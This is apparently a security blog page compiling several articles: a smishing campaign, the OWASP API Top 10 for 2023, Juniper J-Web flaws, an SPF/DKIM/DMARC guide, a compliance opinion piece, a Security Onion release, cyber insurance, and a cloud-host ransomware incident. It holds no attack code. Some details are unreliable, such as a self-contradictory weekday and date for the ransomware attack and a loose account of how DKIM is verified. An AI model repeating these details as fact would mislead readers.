InfoSec Compliance & AI Governance For over 20 years, DISC InfoSec has been a trusted voice for cybersecurity professionals—sharing practical insights, compliance strategies, and AI governance guidance to help you stay informed, connected, and secure in a rapidly evolving landscape.
Resecurity has identified a large-scale smishing campaign, tracked as Smishing Triad, targeting the US Citizens.
Earlier episodes have revealed victims from the U.K., Poland, Sweden, Italy, Indonesia, Japan and other countries – the group was impersonating the Royal Mail, New Zealand Postal Service (NZPOST), Correos (Spain), Postnord, Poste Italiane and the Italian Revenue Service (Agenzia delle Entrate). Similar scams have been observed before targeting Fedex and UPS.
The bad actors attributed to Chinese-speaking cybercriminals are leveraging a package tracking text scam sent via iMessage to collect personal (PII) and payment information from the victims with the goal of identity theft and credit card fraud. The cybercriminal group with the associated campaign has been named “Smishing Triad” as it leverages smishing as the main attack vector and originates from China.
Smishing is a form of phishing that involves a text message or phone number. Victims will typically receive a deceptive text message that is intended to lure the recipient into providing their personal or financial information. These scammers often attempt to disguise themselves as a government agency, bank, or other organization to lend legitimacy to their claims, for example, a postal service like the United States Postal Service (USPS), asking to pay additional delivery fees via credit card. Once the victim shares payment information, the bad actors use it for fraudulent purposes and unauthorized charges.
Expecting the spike of this activity during summer time, USPS has timely warned about the growing risk of package tracking text scams sent via SMS/iMessage. The spike of this activity has been observed during August with big number of domain names registered by attackers.
The notable detail of “Smishing Triad” campaign is that bad actors used solely iMessage sent from compromised Apple iCloud accounts as the main delivery method of malicious messages to victims instead of traditional SMS or calls how it was done in other scam campaigns like “PostalFurious” and “RedZei” observed by other researchers in the past.
“Smishing Triad” also attacks online-shopping platforms and injects malicious code to intercept customer data. Around July 19, 2023 – there was identified a campaign conducted by the same actors targeting popular online-shopping platforms with malicious scenarios containing payment form impersonating Sumitomo Mitsui Banking Corporation (SMBC). Around same time, there were also identified customized forms impersonating New Zealand Transport Agency and the Agenzia delle Entrate (the Italian Revenue Agency), that enforces the financial code of Italy and collects taxes and revenue.
The bad actors also distribute an engine of fake online-shop (TrickyCart) allowing them to defraud consumers with a pseudo 3D Secure Payment form impersonating popular payment systems and e-commerce platforms including Visa, Mastercard and PayPal.
“Smishing Triad” has own Telegram channel with over 2,725 members on it and several private groups. The actors are weaponizing other cybercriminals by selling them customized ‘smishing kits’ targeting popular U.S., U.K. and EU brands – starting at $200 per month provided on subscription with further support. Resecurity has identified a group of domain names used by “Smishing Triad” registered in “.top” zone via NameSilo and protected by Cloudflare around August 2023. Notably, some of the domain names are still functioning as well as the identified Telegram group managed by the actors.
After acquisition of the ‘smishing kit’, Resecurity was able to identify a vulnerability acting as a hidden backdoor in the code allowing actors to silently extract collected personal and payment data from their clients. According to researchers, such scenarios are widely used by cybercriminals in password stealers and phishing kits allowing them to profit from efforts of their clients or at least to monitor their activity. Resecurity was able to recover over 108,044 records with victims’ compromised data in order to alert them about identity theft. The collected information has been shared with relevant law enforcement agencies and the United States Postal Inspection Service.
Resecurity highlighted that it may be complicated to disrupt such cybercriminal activity committed by foreign actors located in jurisdictions like China without proper law enforcement and industry collaboration. Therefor, Resecurity is sharing the information about the “Smishing Triad” with the wider community and network defenders to raise awareness and safeguard their customers.
Further technical details are available in the report published by ReSecurity.
The OWASP Foundation’s Top Ten lists have consistently aided defenders in directing their attention towards particular technologies, and the OWASP API (Application Programming Interface) Security Top 10 2023 is no different. Originally formulated five years ago and recently revised, its goal is to tackle evolving attack techniques.
However, the OWASP API Security Project leaders had their work cut out when deciding how to group and prioritize the threats. The list is put together based upon industry input and must reflect compliance concerns, so it was never going to completely satisfy all people. The question is, does it go far enough to be of value to those in the thick of it when it comes to API development and defense?
What has changed and what has stayed the same?
By comparing the old and the new list, we can see that the top two threats – API1 Broken Object Level Authorization (BOLA) and API2 Broken User Authentication – have remained unchanged. API1 denotes the manipulation of the identification of an object that is sent within a request to the API while API2 marks the abuse of authentication mechanisms through attacks such as credential stuffing, including forgotten/rest password functions. They provide the quickest wins for attackers, and it’s easy to see why these continue to the top the list.
API3 replaced Excessive Data Exposure with Broken Object Property Level Authorization. Does this mean we have solved the problem of sensitive data exposure? Alas, no, it continues to be a huge problem. What this change signifies is the next stage an attacker would take when exploiting sensitive data exposure, i.e., break through the property level authorization. So why has the Project decided to make the change? Probably for the sake of clarity, because sensitive data exposure is an issue that spans the rest of the list. But some, including myself, would argue that this isn’t the right way to present the issue, because it declasses what is a very serious issue.
Similarly, API6 was Mass Assignment in 2019 and is now Unrestricted Access to Sensitive Business Flows. Are they different? Not really. Both are talking about taking advantage of objects and their properties within the application flow, with the examples listed on the project page referring to a ride share app where functionality is exploited in the backend. There is, however, something subtle about the naming that makes the 2023 version seem like something that needs to be fixed, rather than being nebulous and confusing, so in that respect it is an improvement.
Bring bots into the mix
API6 also plays to how an API that isn’t functioning properly can swiftly end up with attack automation being utilized against it in the form of bot attacks. This is important because there’s always been an artificial distinction made between API and bot attacks, with the security sector offering different solutions for each when the reality is that automated attacks can and are launched against APIs. So, it no longer makes sense to monitor for API attacks and bot attacks separately: bot mitigation has to become part of API security. This is apparent in our recent report, which revealed that automated attacks dwarfed other TTPs in the analysis of traffic during the last quarter of 2022.
Overall, the new list largely redefines many of the previous tactics, techniques and procedures (TTPs) in a bid to be more inclusive. API4, for instance, has moved from Lack of Resources and Rate Limiting to become Unrestricted Resource Consumption, reflecting the fact that rate limiting extends beyond the issue of network capacity. Other resources that can be abused if limits are not set include CPU, memory and storage, for example, but just as importantly, service providers can find service resources maxed out by API requests. They may provide emails, texts or phone calls and a repeat API request can see that service provider rack up huge service costs.
However, there are some changes in the order and new concepts in there towards the end. API7 Security Misconfiguration drops a place to API8 as there has been progress made in this area.
API7 is now Server Side Request Forgery (SSRF). APIs are a prime target for SSRF attacks because they routinely channel outbound traffic from an application. Developers often access external resources, such as web hooks, file fetching from URLs or custom SSO and URL previews – states the Project – or cloud or container providers expose management and control channels to compromise via HTTP. And the old API8, Injection attacks? That’s no longer a separately categorized threat again because it’s typically adopted in many of the other attack types.
Significant changes
API9 sees another subtle but important change in the wording: from Improper Assets Management to Improper Inventory Management. This reflects the heightened number of shadow APIs that are out there which once deployed are no longer monitored and effectively fall off the security team’s radar. Unmanaged, unknown and unprotected, these APIs are then sitting ducks for attackers who now actively search for them. In fact, we found that 45 billion search attempts were made for shadow APIs during the second half of 2022, compared to five billion during the first six months. A runtime API inventory that continuously monitors production APIs is therefore vital to ensure all APIs that go live are protected yet it’s one of the key failings in organisations today.
Finally, API10 has changed from Insufficient Logging and Monitoring, now largely covered by API9, to Unsafe Consumption of APIs. This reflects the extension we’ve seen of the API software chain, with APIs now often being integrated with other APIs. The problem that has arisen is that developers tend to inherently trust interactions with these external APIs, particularly from well-known companies, even though they may be flawed and/or be leaking data.
Clearly a great deal of thought has gone into adjusting the OWASP API Top Ten to more accurately address the TTPs that attackers are now using. The result sees both minor and some major changes to the list all of which are justified. Indeed, it’s not the descriptors but the list itself that is problematic. It’s an arbitrary concept that’s designed to attract attention to and heighten the profile of API security but does it do anything to further how we defend against these attacks?
How it holds up under an attack scenario
If we use breach analysis, we can compare a typical breach to the categories in the list to see how the concept stacks up. Many breaches start out with an API that the victim organization was unaware they had ( API9 in the 2023 list). This API is then found to return some kind of data about a user that isn’t the attacker (API1). Now the attacker is going to create attack automation using a bot to try to exploit this as quickly and as completely as possible (API6), completing the attack chain and giving the attacker access to data hidden in the victim organization’s systems.
It’s evident that such an attack would cross at least three of the attack categories so prioritizing them becomes immaterial. Indeed, such trinity attacks are gaining ground, with 100 million detected during the first half of 2022.
What’s more, as well as seeing attackers pivot during an attack and utilize known TTPs, we are also seeing them come up with unique TTPs to attempt to subvert the API. These grew more than fivefold between June and November (from 2,000 to 11,000). Most of those attacks were geared towards achieving account takeover (ATO), scraping to perform reconnaissance or to exfiltrate data, and hunting for business logic flaws within the API to commit fraud.
Keeping up with such diverse attacks requires the security team to focus not just on its defense but methods of detection and mitigation. Whether it is knowing where APIs are, testing them for flaws or stopping bots attacking unknown flows, API security needs to become more comprehensive, tracking and protecting the API throughout its entire lifecycle.
A sound summary of TTPs
The new OWASP API Top 10 may not be perfect, but it does cover the bases and provides a great starting point from which to address the topic. It now recognizes that some attack methods such as sensitive data and exposure and injection attacks span multiple TTPs and so do not require a separate category. It also amplifies the need for bot mitigation as part of API security, and the complex nature of API ecosystems that are seeing them integrated with one another, for instance.
But its structure is not conducive to showing how these attacks are being used in the wild. It still compartmentalizes these attacks when threat actors are becoming much more versatile and combining them.
Realistically, the only way of keeping pace with this rapidly evolving threat landscape is to monitor and manage those APIs. Creating a runtime inventory, conducting API threat surface assessments, carrying out specification anomaly detection and putting in place real-time automated bot detection and mitigation are all now essential to protect the API footprint of the business.
Juniper Networks, a company that manufactures widely used networking equipment as well as security solutions, has issued a warning about vulnerabilities that are present in the operating systems of many of its devices.
The business has acknowledged in not one but two distinct security alerts that were either released or revised this week that the Junos OS and the Junos OS Evolved operating systems may be susceptible to attacks. Additionally, the corporation issued an updated warning about vulnerabilities that are present in the SRX firewalls and EX switches used by the company.
In a fresh warning it said that earlier versions of the operating systems might get stalled due to the processing of erroneous messages in the code known as the Border Gateway Protocol (BGP), which is responsible for directing all traffic on the internet.
To be more specific, a “UPDATE” message that is formatted in a particular manner “will eventually create a sustained Denial of Service (DoS) condition for impacted devices,” which would prevent such devices from carrying out their duties.
A security advisory that had been issued in June and was connected to BGP was also updated by the business on Wednesday. This issue also addressed the possibility of attacks that denied service to users.
Since 25th August we are seeing exploitation attempts from multiple IPs for Juniper J-Web CVE-2023-36844 (& friends) targeting /webauth_operation.php endpoint. Same day an exploit POC was published. This involves combining lower severity CVEs to achieve pre-auth RCE. pic.twitter.com/qq0f3oWdnD
In both instances, the corporation was providing workarounds as a means of resolving the problems “out of cycle” from its typical operating system update releases.
A third warning, issued on August 17 and most recently updated on Wednesday, refers to vulnerabilities in J-Web, which is an interface for the SRX firewalls and EX switches used by the firm, which researchers in the security field at Watchtower Labs investigated.
In such a scenario, “an unauthenticated, network-based attacker” has the ability to link together the exploitation of the vulnerabilities “to remotely execute code on the devices.”
In addition, the Cybersecurity and Infrastructure Security Agency (CISA) released a brief advisory on Wednesday about the vulnerabilities in the operating system.
In addition to that, researchers carried out extensive study, the results of which offered a comprehensive understanding about the exploitation of this weakness as well as the vulnerabilities associated to it.
In the course of their investigation, the researchers focused on two particular vulnerabilities in Juniper (CVE-2023-36846 and CVE-2023-36845), both of which were described in the company’s security advisory. Both of these vulnerabilities, Missing authentication for key functions and PHP External Variable Modification, have something in common: they both affect PHP.
After further investigation, it was found that the J-Web was totally developed in PHP, and that the authentication process is handled by a user class. In addition, a PHP file called webauth_operation.php was found.
In addition, a total of 150 distinct functions, which served a variety of purposes ranging from basic aids to the formatting of IP addresses, were found to be in use. These functions ranged in complexity from simple to complicated. Every one of these tasks required interaction with the command line interface (CLI) of the appliance.
Researchers from Watchtwr have produced a comprehensive analysis, which can be seen on their website. The report contains in-depth information on these vulnerabilities as well as the techniques used to attack them.
It has been announced that a repository on GitHub containing the Proof-of-concept for this vulnerability has been made available. Security professionals may utilize this repository to test and repair their susceptible environments using the Proof-of-concept.
Email communication is essential for personal and professional contact in the modern digital environment.
Email is widely used, making it a perfect target for cybercriminals, leading to increased phishing attempts, spam, and email spoofing.
Strong email security measures are becoming essential as these threats become more sophisticated. Email authentication techniques like SPF, DKIM, and DMARC are crucial in situations like this.
By authenticating the sender’s identity and confirming the accuracy of the received messages, these procedures act as the first line of protection against email-based threats.
This article will thoroughly review these three important email authentication methods, including their roles, how they cooperate, and why they are crucial for upholding a reliable and secure email communication infrastructure.
What are Email Authentication Protocols?
Secure email communications can be achieved through Email Authentication Protocols, standards, or technologies that validate the sender’s identity and protect the message’s integrity.
These standards aim to protect users from spam, phishing, and other malicious email-based assaults.
As a bonus, they make it less likely that a good email will be incorrectly deleted as spam or malware.
Here are the primary email authentication protocols commonly in use:
Sender Policy Framework (SPF)
DomainKeys Identified Mail (DKIM)
Domain-based Message Authentication, Reporting, and Conformance (DMARC)
Sender Policy Framework (SPF)
The Sender Policy Framework (SPF) is an email authentication technology developed to prevent spam.
By letting domain owners choose which mail servers can send emails on their behalf, SPF assists receiving servers in authenticating the sender of incoming messages.
For this purpose, the DNS records of the domain are consulted to ensure that the emails come from the addresses they claim to represent.
The Sender Policy Framework (SPF) aims to improve email security by limiting the possibility that an unauthorized sender may use a specific domain in the “From” address.
This helps keep the sender’s and the recipient’s inboxes free of unwanted messages and strengthens the confidence each party has in email.
How It Works
Domain owners create SPF records showing trusted IP addresses and domains from which emails can be sent.
Email servers do a Sender Policy Framework (SPF) record check whenever they receive an email.
When a message is received, the server checks the IP address to see if it is one of the approved senders mentioned in the SPF record.
The SPF check is successful if the sending IP address is known and accepted; otherwise, the email may be flagged as suspicious and deleted.
How Do Attackers Abuse SPF:
Sender Policy Framework (SPF) is an email authentication system that checks the sender’s name to stop email spoofing and phishing. But, like any other system, SPF isn’t completely safe from possible attack vectors. Here are some possible ways to attack SPF:
Manipulating SPF Records: Attackers could try to change or create SPF records by changing the DNS records of a domain. This would let them list unauthorized IP addresses or servers as valid senders. This can make it possible for tactics like spoofing or phishing to work.
Domain Hijacking: If an attacker takes control of a legal domain, they can change the SPF records to include their own malicious servers. This can cause bad emails that look like they came from a trusted source to be sent.
Subdomain Attacks: SPF records are often set up for an organization’s primary domain, but they might forget to set up SPF records for subdomains. Attackers who send emails from subdomains without the proper SPF records can use this against you.
Inadequate SPF Policies: Organizations may have weak SPF policies that let many IP addresses send emails on their behalf. This can give attackers a bigger pool of possible IP numbers to trick people.
DomainKeys Identified Mail (DKIM)
DomainKeys Identified Mail (DKIM) is an email authentication technology that uses encryption to confirm an email’s authenticity.
The sending server adds a distinctive DKIM signature using a private key to each email. The receiving server verifies the signature of the incoming email using a public key obtained from the sender’s DNS records.
If it matches, the email can be trusted as genuine and safe from tampering. DKIM is designed to prevent email spoofing and phishing attacks and guarantee the safe delivery of email communications by verifying the sender’s domain and the message’s encrypted signature.
How It Works
Using a private key, the email’s computer makes a digital signature.
The email packaging has been changed to include this signature.
From the DNS records, the email server that receives the email gets the sender’s public key.
The digital signature is then decrypted and checked using the public key.
The genuine email has not been changed if the signature is correct.
How Do Attackers Abuse DKIM
Private Key Compromise: DKIM relies on a private key stored on the sending server to sign outgoing emails. If an attacker gains access to the private key, they can sign malicious emails that recipients might consider legitimate, as the DKIM signature would appear valid.
DNS Record Manipulation: DKIM public keys are stored in DNS records as text (TXT) records. If an attacker gains control over a domain’s DNS records, they could modify or replace the DKIM public key, allowing them to sign fraudulent emails that appear authentic.
Subdomain Spoofing: Organizations might configure DKIM for their main domain but overlook implementing it for subdomains. Attackers could then send emails from subdomains that lack proper DKIM signing, making it harder for recipients to verify the email’s authenticity.
Key Length and Algorithms: If an organization uses weak encryption algorithms or short key lengths for DKIM signing, it becomes easier for attackers to crack the encryption and forge DKIM signatures.
Solution: Organizations should adopt efficient incident response plans, regularly monitor email traffic for anomalies, and stay updated on emerging threats to stay ahead of the evolving email threat landscape with AI-powered solutions like Trustifi.
Domain-based Message Authentication, Reporting, and Conformance (DMARC)
To improve upon SPF and DKIM, a new email authentication protocol called Domain-based Message Authentication, Reporting, and Conformance (DMARC) was developed.
Domain administrators can instruct receiving mail servers on what to do with messages that do not pass authentication.
Domain owners can direct mail servers to stop accepting spam by adding a DMARC policy record to their DNS settings. Email traffic and any security risks can be better understood using DMARC’s reporting features.
DMARC is designed to strengthen email security by adding an extra layer of verification, decreasing phishing and spoofing, and increasing the credibility and delivery of legitimate communications.
How it Works
The receiving server references the DMARC policy if SPF or DKIM authentication fails.
The DMARC policy can direct the server to take various actions, such as classifying spam, placing it in quarantine, or outright rejecting it.
To improve their email protection measures, domain administrators can use forensic and aggregate data on authentication activity.
DMARC Attack Vector
Aggressive Enforcement: Some organizations may choose to use DMARC with a strategy of “quarantine” or “reject” right from the start. This can work, but if the policy isn’t carefully set, it can also cause valid emails to be blocked.
Reporting Address Spoofing: Attackers could try to change the DMARC reporting address to send reports of failed DMARC checks to sites they control. This could give them a chance to learn more about how the organization’s email system works.
Targeted Spoofing: Attackers could try to pose as people or parts of an organization that haven’t fully set up DMARC. This specific method makes it more likely that their emails will be read.
As with other email-related attacks, attackers could use social engineering to get receivers to ignore DMARC warnings or think a DMARC-failed email is real.
Where are SPF, DKIM, and DMARC Records Stored?
Spf records:
SPF records are TXT (text) records in the DNS. Emails from this domain must be sent from the IP addresses or parts specified in these records.
The recipient’s email server will check the SPF record for the sender’s field in the Domain Name System (DNS) to ensure the email is legitimate.
Example SPF record:
v=spf1 ip4:192.0.2.1 ip6:2001:db8::1 include:example.com all
DKIM Records:
DKIM records are similarly stored in DNS, although they are TXT entries. These entries store the public key to authenticate the domain’s digital signatures in outgoing emails.
The DKIM record is retrieved from the DNS by the receiving email server, which then uses the public key to verify the signature and ensure the email’s authenticity.
DNS also stores DMARC records in the TXT record format. The measures to take if an email fails SPF or DKIM checks are provided in the domain’s DMARC policy, defined by these records.
To keep the domain owner aware of authentication actions, DMARC additionally provides reporting tools.
Checking an Email for SPF, DKIM, and DMARC Compliance
It takes multiple procedures and the capacity to query DNS records to ensure an email complies with SPF, DKIM, and DMARC.
Here are the measures taken to ensure that an email adheres to these standards:
Check SPF Compliance:
Extract the IP address of the email server that sent the email from the email headers.
Retrieve the SPF record from the domain’s DNS that the email claims to be sent from. This is usually found in a TXT record in the domain’s DNS.
Check if the sending server’s IP address is listed in the SPF record. If it is, the email passes the SPF check; otherwise, it fails.
Check DKIM Compliance:
Check the email headers for a DKIM signature. This will usually be found in a header field called ‘DKIM-Signature’.
Extract the ‘d=’ parameter from the DKIM signature to find the signing domain and the ‘s=’ parameter to find the selector.
Retrieve the DKIM public key from the DNS of the signing domain. This will be found in a TXT record at selector>._domainkey.signing domain>’.
Use the public key to verify the DKIM signature in the email header. If the signature is valid, the email passes the DKIM check; otherwise, it fails.
Check DMARC Compliance:
Ensure that the email has passed both the SPF and DKIM checks. At least one of them must pass for the DMARC check to pass.
Retrieve the DMARC record from the domain’s DNS from which the email claims to be sent. This is usually found in a TXT record at ‘ _dmarc.domain>’.
Check if the ‘From’ address domain matches the SPF domain or the DKIM signing domain. If it does, then the email passes the DMARC alignment check.
Follow the policy specified in the DMARC record for handling emails that fail the DMARC check.
How to configure SPF, DKIM, and DMARC for a domain
Configure SPF:
Identify Authorized IP addresses or servers: Determine the IP addresses or servers authorized to send email on behalf of your domain.
Create an SPF Record: Create an SPF record by creating a TXT record in your domain’s DNS settings. The value of this TXT record will start with ‘v=spf1’ followed by the authorized IP addresses or servers.
Example SPF Record:'v=spf1 ip4:192.168.0.1 -all'
This example authorizes the IP address ‘192.168.0.1’ to send emails on behalf of your domain and denies all others.
Update DNS Settings: Add the SPF record to your domain’s DNS settings.
Configure DKIM:
Generate a DKIM Key Pair: Generate a public-private key pair for DKIM. Your email server will use the private key to sign outgoing emails, and your domain’s DNS settings will make the public key available.
Configure Email Server: Configure your email server to sign outgoing emails using the private DKIM key.
Create a DKIM Record: Create a DKIM record by creating a TXT record in your domain’s DNS settings.
The name of this TXT record will be in the format selector>._domainkey.yourdomain>’, and the value will contain your DKIM public key.
Example DKIM Record: 'v=DKIM1; k=rsa; p=MIGfMA0...'
This example specifies that the key type is RSA and includes the public key.
Update DNS Settings: Add the DKIM record to your domain’s DNS settings.
Configure DMARC:
Create a DMARC Record: Create a DMARC record by creating a TXT record in your domain’s DNS settings. The name of this TXT record will be ‘_dmarc.your domain>’, and the value will contain your DMARC policy.
Example DMARC Record: 'v=DMARC1; p=reject; rua=mailto:report@example.com'
This example specifies that emails that fail the DMARC check should be rejected and that reports should be sent to ‘report@example.com’.
Update DNS Settings: Add the DMARC record to your domain’s DNS settings.
Conclusion
The SPF, DKIM, and DMARC standards are essential components of a reliable email security architecture in an age when email is vulnerable to a wide range of attacks.
Though each has advantages and disadvantages, they provide an enormous defense against a significant fraction of email-based attacks.
By implementing these authentication processes, your email systems’ security will improve, and your emails’ deliverability will also be enhanced, reducing the possibility that your legitimate messages will be miscategorized as spam.
Applying these standards to your digital communication infrastructure can significantly improve the safety and dependability of your communications.
Does anyone think the chances of surviving a plane crash increase if our tray tables are locked and our carry-on bags are completely stowed under our seats? That we’ll be OK if the plane hits a mountain if we have our seat belts buckled securely across our waists? Not even the flight attendants, who will be responsible for throwing us off the plane if we don’t comply, really believe those rituals make us safer. And yet, we check the box every flight because a government agency said we can’t fly unless we do so...
I’m starting to wonder if the obsession with checking boxes in cybersecurity might be akin to securing our tray tables before take-off. We do as we’re told, check all the boxes, pat ourselves on the back, and in the process, distract ourselves from our ultimate goal: stopping the bad actors and protecting our data.
I started to think about this somewhat disconcerting cybersecurity community reality when scanning the titles of some of the attendees at a recent regional cybersecurity conference. I was surprised by the frequency of titles that combined security with compliance. To wit: Manager Information Security and Compliance, Manager, Security and Compliance Advisory, Senior Manager Internal Controls and Compliance, Sr. Manager – IT Security & Compliance (among others). To add to this: countless “auditor” titles – roles designed specifically to assure fealty to various standards requirements.
Nearly all enterprise breaches originate in one of three ways, and all cybersecurity professionals know this:
An unpatched vulnerability
Credential theft
Installation of malicious software (typically via phishing)
So, let’s try an experiment. Ask a CISO or experienced cybersecurity expert how they would defend their organization against these three breach types if:
1. They could completely ignore standards and compliance, and they’d be given no credit for any level of compliance (and there would be no ramifications for non-compliance)
2. They could re-deploy every dollar of budget allotted to standards compliance and auditing any way they liked
3. Their single objective was to win the game (stop the bad actors, and minimize their organization’s risk of a compromise)
How many would determine that the best use of their resources would be to attain or retain compliance with a cybersecurity standard? And how many would deploy those compliance and auditing resources to patch more vulnerabilities, invest in additional cybersecurity expertise, tools to identify and reduce their external threat footprint, and myriad other effective measures to genuinely reduce their organization’s cyber risk?
It’s not as if dedication to compliance is any more of a guarantee against a breach than any other technology, strategy or prayer. Here are a few examples of compliant companies that have suffered high profile breaches (thanks to ChatGPT for saving me the hours of research otherwise required to build this list):
Equifax (PCI and NIST CSF)
Target (PCI)
Marriott (PCI)
Anthem (HIPAA)
Premera Blue Cross (HIPAA)
CareFirst BCBS (HIPAA)
SolarWinds (NIST CSF)
This is, of course, not an exhaustive list. Show me a large enterprise that was breached and I’ll show you a large enterprise adhering to multiple compliance standards.
So, why do we continue to be obsessed with cybersecurity compliance, standards, frameworks, etc.? The obvious reason is that organizations can be fined for non-compliance.
And yet, there’s been little effort among cybersecurity experts to challenge regulatory agencies. Indeed, many enthusiastically embrace compliance and congratulate themselves and their teams for achieving it. And, of course, no one loves compliance standards more than vendors, just like every barber in the world would celebrate a new law requiring everyone to get a haircut weekly.
The less obvious reason for our community’s love for compliance is that it covers behinds. “Yes, we were breached, but we did everything we were supposed to do, so don’t blame us.” Coaches in every sport will identify that as a loser’s attitude. Champions know there’s no checkbox formula for winning, and there’s no excuse for losing, especially “we did everything we were supposed to and still lost.” It’s cliche’, but the best teams and athletes “just know how to win.”
Am I suggesting we abandon frameworks and compliance? Not immediately, and not without serious debate and analysis. But there is a case to be made that the compliance-centric philosophy governing cybersecurity decision-making today simply isn’t working, and we in cybersecurity are the living embodiment of (not) Einstein’s definition of insanity: doing the same thing over and over and expecting a different result.
Cybersecurity spending continues to increase and yet breach incidents are increasing as well. It shouldn’t be sacrilegious to propose that we consider changing our foundational philosophy from checking boxes on a compliance audit form to doing whatever makes sense to defend our organizations, and win.
Security Onion is a free and open platform for threat hunting, enterprise security monitoring, and log management. It has been downloaded over 2 million times and is being used by security teams worldwide. Security Onion 2.4 comes with many updates, and the hotfix 2.4.10 release is available on GitHub.
For network visibility, they offer signature-based detection via Suricata, rich protocol metadata and file extraction using Zeek or Suricata, full packet capture via Stenographer, and file analysis via Strelka.
For host visibility, Security Onion offers the Elastic Agent, which provides data collection, live queries via osquery, and centralized management using Elastic Fleet. Intrusion detection honeypots based on OpenCanary can be added to your deployment for even more enterprise visibility. All these logs flow into Elasticsearch, and they’ve built their own UIs for alerts, dashboards, threat hunting, case management, and grid management.
New features in Security Onion 2.4
Over the past year of developing Security Onion 2.4, the developers added new features to give you a better experience and make you more efficient:
Security Onion Console (SOC) has many new features to make you more efficient as a defender:
SOC now allows you to add a value directly from a record in Hunt, Dashboards, or Alerts as an observable to an existing or new case
SOC includes a new DNS lookup capability
SOC includes pivots for relational operators on numbers
SOC Cases support dynamic observable extraction
SOC can import PCAP and EVTX files
SOC has many new administration features, so you can spend less time managing your deployment and more time hunting adversaries.
You can manage users via SOC’s Administration section
SOC’s Administration section also includes a new Grid Members Interface to manage adding and removing nodes
You can configure most aspects of your deployment via the Configuration interface
SOC’s Grid interface has been improved to show more status information about your nodes
The installer has been simplified and configuring new members of the grid will take place in the Grid Members interface
SOC authentication has been upgraded to include additional authentication protections, such as rate-limiting login requests. It also supports passwordless login via Webauthn
Endpoint telemetry is more powerful and easier to manage.
The primary endpoint agent is now Elastic Agent and it provides data collection and live queries via embedded osquery. It replaces the previous osquery, Beats, and Wazuh
Elastic Agent is managed in Elastic Fleet
Elastic Agent and Elastic Fleet support Elastic Integrations
Grafana has been removed and all health metrics can be found in InfluxDB
The Security Onion ISO image has upgraded from CentOS 7 to Oracle Linux 9
Windows Forensics, include the process of conducting or performing forensic investigations of systems which run on Windows operating systems, It includes analysis of incident response, recovery, and auditing of equipment used in executing any criminal activity.
The cybersecurity insurance sector is experiencing swift expansion, with its value surging from around $13 billion in 2022 to a projected $84 billion by 2030, reflecting a robust 26% compound annual growth rate (CAGR). However, insurance providers are encountering challenges when it comes to accurately assessing the potential hazards associated with providing coverage for this category of risk.
Conventional actuarial models are ill-suited for an arena where exceptionally driven, innovative, and astute attackers are actively engaged in orchestrating events that lead to insurable incidents. Precisely gauging potential losses holds utmost importance in establishing customer premiums. However, despite a span of twenty years, there exists a substantial variance in loss ratios across insurance providers, ranging from a deficit of 0.5% to a surplus of 130.6%. The underwriting procedures lack the necessary robustness to effectively appraise these losses and set premiums that reflect a reasonable pricing.
Why is the insurance industry struggling with this?
The problem is with the nature of the threat. Cyber attackers escalate and adapt quickly, which undermines the historical-based models that insurance companies rely on. Attackers are continually shifting their maneuvers that identify victims, cause increasing loss, and rapidly shift to new areas of impact.
Denial of service attacks were once popular but were superseded by data breaches, which cause much more damage. Recently, attackers expanded their repertoire to include ransomware-style attacks that increased the insurable losses ever higher.
Trying to predict the cornerstone metrics for actuary modelers – the Annual Loss Expectancy and Annual Rate of Occurrence – with a high degree of accuracy is beyond the current capabilities of insurers. The industry currently conducts assessments for new clients to understand their cybersecurity posture to determine if they are insurable, what should be included/excluded from policies, and to calculate premiums. The current process is to weigh controls against best practices or peers to estimate the security posture of a policyholder.
However, these rudimentary practices are not delivering the necessary level of predictive accuracy.
The loss ratio for insurance firms has been volatile, in a world where getting the analysis wrong can be catastrophic. Variances and unpredictability make insurers nervous. At maximum, they want a 70% loss ratio to cover their payouts and expenses and, according to the National Association of Insurance Commissioners Report on the Cyber Insurance Market in 2021, nearly half of the top 20 insurers, representing 83% of the market, failed to achieve the desired loss ratio.
In response to failures to predict claims, insurers have been raising premiums to cover the risk gap. In Q4 2021 the renewals for premiums were up a staggering 34%. In Q4 2022 premiums continued to rise an additional 15%.
There are concerns that many customers will be priced out of the market and the insurance industry and left without a means of transferring risk. To the detriment of insurers, the companies may make their products so expensive that they undermine the tremendous market-growth opportunity. Additionally, upper limits for insurability and various exception clauses are being instituted, which diminish the overall value proposition for customers.
The next generation of cyber insurance
What is needed are better tools to predict cyber attacks and estimate losses. The current army of insurance actuaries has not delivered, but there is hope. It comes from the cyber risk community that looks to manage these ambiguous and chaotic risks by avoiding and minimizing losses.
These cybersecurity experts are motivated by optimizing limited resources to prevent or quickly undermine attacks. As part of that continuous exercise, there are opportunities to apply best practices to the insurance model to identify the most relevant aspects that include defensive postures (technology, behaviors, and processes) and understanding the relevant threat actors (targets, capabilities, and methods) to determine the residual risks.
The goal would be to develop a unified standard for qualifying for cyber insurance that would adapt to the rapid changes in the cyber landscape. More accurate methodologies will improve assessments to reduce insurers’ ambiguity so they may competitively price their offerings.
In the future, such calculations will be continuous and showcase how a company will benefit by properly managing security in alignment with shifting threats. This should bring down overall premium costs.
The next generation of cyber insurance will rise on the foundations of new risk analysis methodologies to be more accurate and sustain the mutual benefits offered by the insurance industry.
Cloud Hosting Provider Lost all Customer Data Following Ransomware Attack
There has been a cyber attack on two cloud hosting providers, namely CloudNordic and Azero Cloud, which Certiqa Holding owns. The cyberattack has resulted in complete data loss for all their customers.
The cloud attack was reportedly on Friday, April 18, 2023, at around 4 AM when CloudNordic and Azero cloud were exposed to a ransomware attack in which the threat actors shut down all the systems, including customer systems, e-mail systems, customers’ websites, and everything they gained access to.
Both companies mentioned that they could not and didn’t want to pay the ransom demanded by the threat actors. However, the IT teams of CloudNordic and Azero Cloud are working with external experts to get complete information about the attack and possible recreation.
Unfortunately, the companies could not recover or recreate any customer data, and they have lost every piece of data on their customers, mail servers, web servers, etc.
Current Status
CloudNordic and Azero Cloud are highly affected by this cyber attack, and they have lost largely critical customer data but have re-established communications.
This means they have now deployed blank systems, including name servers, web servers, and mail servers. However, none of them contain any previous data.
The company has sorted out a way to restore the DNS administration interface that can enable users to get email and the web working again.
Attack Explanation
As per the reportsubmitted to Cyber Security News, both companies attempted to migrate between data centers and had some infected systems before the migration, which the company did not know.
Nevertheless, some servers used to manage all the servers were still wired to the previous network. Threat actors gained access to the administration systems with this network misconfiguration, which paved their way toward the backup systems (both primary and secondary backup).
The attackers encrypted all the systems they had access to, including all the virtual machines. Large amounts of data were reported to have been encrypted by the ransomware, but there seems to be no evidence of data being copied.
Both companies claimed there seemed to be no evidence of a data breach and regretted the inconvenience caused to their customers.
